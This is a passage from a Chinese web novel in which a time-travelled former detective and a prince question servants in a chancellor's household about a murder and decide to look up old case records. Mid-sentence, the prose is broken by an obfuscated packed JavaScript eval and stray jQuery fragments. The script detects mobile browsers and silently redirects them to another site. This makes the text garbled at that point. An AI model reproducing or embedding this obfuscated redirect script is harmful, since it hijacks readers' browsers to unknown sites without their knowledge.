嗯?路锦瞳插嘴道:“你怎么能确定不是丞相府的?你才多大,丞相府的人认全了么?”
下人挺起胸脯:“当然认全了!姑娘你别看我年纪不大,小人可是在府中待了八年了,丞相大人心善,将爹娘和小人都一起买进府中,小人是在丞相府长大的!”
“是么?”路锦瞳摩挲下巴,“既然如此,那你为什么要站出来说这些呢?你知道我们在找什么人么?丞相是你们一家子的救命恩人,你这样说也不怕给他找麻烦?”
他一卡,眼珠抖了抖,随即大声道:“当然不怕,丞相大人那么好,怎么可能会和你们查的案子有关?身正不怕影子斜!再说了,小姐平素对我们这些下人极好,如今她不明不白地被害,能为她做些什么那是小人的荣幸!”
路锦瞳哼了一声没再讲话,容筝适时地接上话头:“你看清了他的脸,可认识?”
下人闻言左右看看,眼珠转动,一副小心翼翼的模样,他往前走了两步,离他们近了些,拢嘴道:“小人看着,像是兵部尚书朱大人家的公子,他与五公子玩得不错,常来府中做客,小人见过多次,不会认错的。”
容筝与路锦瞳对视,眼中都有诧异,他道:“确定?”
“确定!”下人说,“小人见过朱公子好多次了,不会认错的。”
容筝颔首,他挥挥手让他退下,随后继续负手前行,是后院的方向,看来是打算接着问,他头也不回道:“你怎么看?”
“?”路锦瞳意识到这是在问她,便接话:“我觉得有点怪。”
容筝“嗯”了一声:“细说。”
路锦瞳便细说了:“在我们来这里之前,也有很多衙役来问过,我的证词也都给他们分发过,他们知道我是在什么时候听到有人交谈的,就算问问题,应该也不会和殿下您问的差太多,就别说他们来问的时候兴师动众,府中的下人都会问上一遍,怎么他们就什么都没问到,咱们一来,就有人跳出来了呢?”
她抿了抿唇:“姑且算他在犹豫要不要说,可我方才问他时,他说的那些话也不像是犹豫过,脸上也没有为难的表情,眼珠到处乱转,不自觉往右上角看,分明是撒谎的表现。”
“你的意思是,他刚说的全都是假话?”容筝问。
“不不不,也不能这么武断,”路锦瞳摇摇手指,“我猜测,他撒谎的点不在内容,而是在动机。”
容筝略一沉吟,立马反应过来:“你是想说,他说的都是真的,朱家公子的确来过丞相府,也曾在假山中与人会面,只是他说的太迟了,像是被人推出来的一样。先前不打算说是因为他也没有看到,现在讲了则是因为幕后之人发现我们越查越深,他们不想被查出,只好先推出个挡箭牌,牺牲掉不必要的人。”
路锦瞳向他比出个大拇指:“对!但只是猜测,不过我觉得八九不离十,那个下人毕竟还是个孩子,撒谎还有点生疏,其实只要我们再多逼问一些细节,他就会露出破绽。因为他根本就没有看到那样的场面,告诉我们的信息都是提前编好的,哪怕是为了防止被看出提前演练过,可我们只要抓着小细节不放一直问,他肯定会方寸大乱。”
容筝闻言点头,他慢慢漾出笑来:“本宫现在觉得,叫你一起来是个很明确的选择,从你身上学到了不少东西,你不会怪我偷师吧?”
路锦瞳没注意到他的自称已经变成了“我”,还在犹自挠头傻笑:“殿下过誉,我这就是些小把戏而已,是您足够聪明,有些东西我都没想到您就想到了。”
虽然有一部分拍马屁的嫌疑,但她是认真的没错,从前爸爸在的时候就说她聪明,观察细致,是做刑警的料,后来她进入了工作岗位,其中不乏聪明的,但很少能有人与她同频,很少和她想到一块儿去,路锦瞳常常臭屁强者都是孤独的,没想到穿越一趟,还找到了能跟上她思维的人,要不是对方是个皇子,她早就去勾肩搭背了。
容筝笑了一下:“既然如此,那本宫可就要继续向你讨教了。”
“讨教不敢当,”路锦瞳摆摆手,“我们互相学习吧,我不会的您教我,您想学的问我,如何?”
“好。”容筝道,“那本宫现在就想问你一下,你刚刚说他眼睛看向右上角,这是常见的说谎表现,本宫只听说过眼神飘忽是在撒谎,却不知固定看向一个方向也算撒谎。”
“这个还是挺常见的,您得多观察。”路锦瞳不知道该怎么说,只好瞎编一个,她总不能说这是看心理学方面的书学的吧,届时容筝如果向她借,那她去哪里偷来一本呢?
她转移话题道:“其实办案要经常观察犯人的行为举止,这样方便结合心境推理。”
容筝若有所思:“就像上次你在酒楼那样?”
“对,”路锦瞳道,“不过那个很难学,我只是会一点皮毛,还是之前听一位老师的课,他讲得很细致,我也是听过转述后自己了解了一下,才学了个半会。”
那是前几年的事情了,那会儿路锦瞳也刚刚迈入行业,她对这个行业很感兴趣,自然也愿意努力多学习有关知识,刑警是有时忙有时闲,忙的时候她就到处跟着大部队学习,闲下来忙完手头的工作就跑到学校听名师讲座。
她学到了不少东西,也期盼着名师能来A城教学,哪怕只上一节课也好。路锦瞳听过一个天才的名头,那人专研究犯罪心理学,是侧写师中的佼佼者,更是业内大亨的高徒,他上课没有几年,但却吸引了好多人去听,路锦瞳也很想去,但她又想跟大案子,很少有走开的时候,一直都没找到机会,一直都是看别人的录频,画质不太行,好在音质很好,她跟着学了不少的知识。
那位老师也姓容,之后他好不容易要来A城讲课,路锦瞳本来都摇人帮忙给她占座了,却临时接到案子,最后只让朋友去帮忙录了一节视频,她忙完了才有空看。
那节课就是讲侧写的入门,容老师讲的很清楚,几乎是做好饭端到跟前喂到嘴边,路锦瞳边听边找了他推荐的书去看,居然真的摸到了入门的诀窍。
之后她再想进益,却没有机会,也没有精力了,容老师跑去别的地方讲课,A城只是他众多旅程中的一站,要想再听,恐怕得等好几年,人家是大学教师,除了全国跑着讲,还要给自己的学生讲,根本没有机会,她从前还想过万一能当容老师的学生该有多幸福,早知道晚生几年就好了。
只可惜之后再也没机会听了,路锦瞳有些惆怅的叹了口气。
“这么说来,那位老师还挺厉害,能给本宫引荐一下么?”容筝把她从回忆中拉出来。
路锦瞳无奈道:“那位老师很神秘的,到处跑,当时我也是与他偶然碰到,他浅浅开导了我一下,之后就走了,我都不知道他叫什么。如果我还能遇见,一定介绍给你认识,让他也教教你。”
容筝微笑颔首,没再问下去。
路锦瞳又把话题引回来:“殿下,我觉得我们可以继续问问,既然挡箭牌已经出来了,那就不可能只有一个,说不定还有呢,看看还能不能得到有用的信息。”
这就跟打游戏通关似的,想要知道最终的结果,就需要到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972507|161350||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处找东西,集齐碎片才能解锁下一个,主要是看其中的难度了。
“好。”容筝没意见,“本宫觉得,只要再问问与柳絮相识的人就好,目前我们得到的信息也就是那些,并针对那些查,幕后之人若想草草结案,那么就必须根据那些信息延展,其余的反而不会刻意。”
路锦瞳点点头,如果幕后之人想把水搅浑,那就不会把朱家公子推出来,而是又让他们“发现”一些新的线索,乱上加乱了。既然这么做了,那么就证明,他们急了,像赶紧推出个人来结案,以免真相被挖出来。
路锦瞳道:“那我们就继续往下查吧,像他们所期盼的那样。”
宋云知的院子如今无比凄凉,与原身记忆中热热闹闹的样子形成鲜明的对比,路锦瞳远远看过去,不免叹息,果然是人走茶凉。
他们照例还是去找与柳絮相熟的丫鬟问话,丫鬟们依旧是一问三不知,没有发现柳絮的异常,她们主仆间也没有闹矛盾。
路锦瞳干脆换了个问法:“柳絮是什么时候开始伺候宋小姐的?”
丫鬟A道:“很久了吧,柳絮姐姐好像小的时候就过来了,听柳絮姐姐说,当初他们家穷的不行,在大街上讨饭,遇见了老爷,老爷心善,就把柳絮姐姐带回来了。本来是要把柳絮姐姐的爹娘也一起带着进府做事,但他们拒绝了,自己找了差事做工,不想麻烦老爷,更不想拖累柳絮姐姐。”
路锦瞳循循善诱:“那现在呢?柳絮的爹娘去哪里了?官府查找的时候只找到了她的舅舅。”
“她爹娘不在了,”丫鬟B接话,“她爹娘惹上了官司,当时那事闹得挺大,柳絮姐姐找小姐求情小姐没答应,于是她爹娘下了狱,因为刑罚太重没撑过来,就死在狱中了。”
路锦瞳若有所思的点头,还未再问下一步,就有小丫鬟插嘴道:“有没有可能,柳絮姐姐害死小姐,就是为她爹娘报仇啊?当时柳絮姐姐求小姐救她爹娘时哭的可厉害了,头都嗑肿了,但小姐一点反应都没有,最后也没答应,柳絮姐姐虽然不说,是不是怨恨她见死不救?”
这话一出,丫鬟们都是眼睛一亮,丫鬟A道:“诶你别说,还真有可能。”
路锦瞳得到了信息,便让她们都散了,她迈出门去,容筝正在树下的一处石桌坐着自己跟自己下棋。因为是和女眷聊线索,他就没进去,全权交给了路锦瞳,自己等在外面,好不让那些丫鬟们紧张。
“问出来了么?”容筝抬头。
路锦瞳点头,她道:“边走边说吧。”
容筝收拾好桌上的棋局,路锦瞳搭了把手,她道:“殿下,您的权限能去府衙或者大理寺查案簿么?”
“可以,”容筝道,“怎么了?”
他们一起往丞相府门口走,打算离开了:“是这样的,我刚刚听那些丫鬟们说,柳絮的爹娘曾经惹了什么官司,之后就去世了,柳絮曾经求过宋云知救她父母,但宋云知拒绝了,无论怎么哀求都没有答应,这致使了她父母的死亡。丫鬟猜测,柳絮可能会因此怀恨在心,我想去查一查这是个什么案子,柳絮的父母在其中扮演了什么角色,真凶是不是他们,宋云知又是因为什么不施以援手的。”
容筝道:“本宫未听说过,这种小案子应该是在府衙,我们现在过去就好。”
路锦瞳“嗯”了一声:“凶手的女儿是丞相府小姐的贴身丫鬟,这个应该很好找,不是很费劲,到时候看看卷宗了解一下,我觉得丫鬟们说得对,柳絮之所以会同意给宋云知下药,这件旧事可能起了一个很大的推进作用。”